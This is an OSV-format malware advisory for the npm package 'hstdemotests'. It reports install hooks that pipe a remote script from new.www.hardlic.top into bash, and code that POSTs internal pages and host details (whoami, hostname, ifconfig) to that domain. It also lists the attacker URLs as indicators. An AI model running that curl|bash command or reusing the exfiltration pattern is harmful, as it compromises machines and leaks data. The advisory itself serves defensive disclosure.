{"id":"MAL-2026-19949","summary":"Malicious code in hstdemotests (npm)","details":"`hstdemotests` runs `curl new.www.hardlic.top/1.sh|bash` in both `preinstall` and `postinstall`, executing a remote script on every install. On `require`, `index.js` fetches an internal page (`http://tst.woa.com/flag.html`) from the victim's network and POSTs its content to `http://new.www.hardlic.top/recive.php`. A bundled `demo.js` collects `whoami`, the hostname and `ifconfig`/`ipconfig` output and POSTs them to `http://new.www.hardlic.top/cnbos.php`. Sibling of `hstdemotest`.","modified":"2026-11-16T05:45:05.044158266Z","published":"2026-11-14T15:13:52Z","database_specific":{"iocs":{"urls":["http://new.www.hardlic.top/1.sh","http://new.www.hardlic.top/cnbos.php","http://new.www.hardlic.top/recive.php"],"domains":["new.www.hardlic.top"]}},"references":[{"type":"WEB","url":"https://wormsign.io/portfolio/hstdemotests/"}],"affected":[{"package":{"name":"hstdemotests","ecosystem":"npm","purl":"pkg:npm/hstdemotests"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.3.0"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/hstdemotests/MAL-2026-19949.json"}}],"schema_version":"1.9.2","credits":[{"name":"wormsign","contact":["https://x.com/w0rmsign"],"type":"FINDER"}]}